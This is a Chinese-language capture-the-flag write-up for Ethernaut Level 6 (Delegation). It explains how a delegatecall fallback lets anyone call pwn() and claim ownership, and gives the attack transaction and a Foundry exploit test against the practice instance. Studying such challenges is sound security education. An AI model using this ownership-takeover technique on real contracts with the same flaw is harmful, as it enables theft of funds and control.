# Ethernaut CTF Level 6 - Delegation ## 題目 這一關的目標是取得創建實例的所有權。 可能會有用的資訊 * 仔細看 solidity 文件關於 delegatecall 的低階函式。它是如何怎麽運行,如何委派操作給鏈上函式函式庫,以及它對執行時期作用範圍的影響 * fallback 方法(method) * 方法(method)的 ID ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } } ``` <br> ## 分析 題目在fallback function提供了delegationCall 這允許callee更改caller的狀態,包含呼叫function ``` [delegatecall 使用] │ ├── 呼叫者合約 (發起 delegatecall) │ │ │ ├── 維持自身狀態 │ │ │ ├── 維持自身以太幣餘額 │ │ │ └── 維持自身合約地址 (this) │ └── 被呼叫合約 (代碼被執行) │ ├── 使用呼叫者合約的存儲 (狀態變量) │ ├── 使用呼叫者合約的以太幣餘額 │ └── 使用呼叫者合約地址 (this) ``` <br> 目的是得到pwn()的 function signature 再填入到msg.data內。 可以到這個網站填入pwn()得到 hash ,得到abi signature (前4個 byte) - https://emn178.github.io/online-tools/keccak_256.html ## 攻擊 得到pwn()的function signature是`dd365b8b` 可以用下面方法呼叫fallback,裡面的msg.data會被delegateCall呼叫 - 也就是`pwn()` ```solidity await contract.sendTransaction({data:'dd365b8b'}) ``` <br> ## Foundry Test ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "forge-std/Vm.sol"; import "../src/levels/06-Delegation/Delegation.sol"; contract ContractTest is Test { Delegation level6 = Delegation(payable(0x12B6C4Fc18970Aa7a962b967d7a32170c5Cb65A3)); function setUp() public { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); vm.createSelectFork(vm.rpcUrl("sepolia")); vm.label(address(this), "Attacker"); vm.label( address(0x12B6C4Fc18970Aa7a962b967d7a32170c5Cb65A3), "Ethernaut06" ); } function testEthernaut06() public { level6.owner(); (bool success, ) = address(level6).call{value: 0}( abi.encodeWithSignature("pwn()") ); assert(level6.owner() == address(this)); } receive() external payable {} } ``` <br> ## 補充 From Ethernaut 使用 delegatecall 是風險蠻高的行為,而且過去的多次攻擊中,它常常是被利用的攻擊向量。如果用了它,你的合約根本是在說「欸欸!看這裡,其它合約/函式函式庫,想要對我的狀態怎麼玩弄都可以喔」。被委派的實例(delegate)對你合約的狀態有完整的權限。delegatecall 函式是一個非常強大的工具,但是同時也十分危險,在使用的時候需要非常的小心。 請參見 The Parity Wallet Hack Explained 這篇文章,它詳細解釋了當初如何透過這個方法去竊取三千萬美元。 https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7 <br>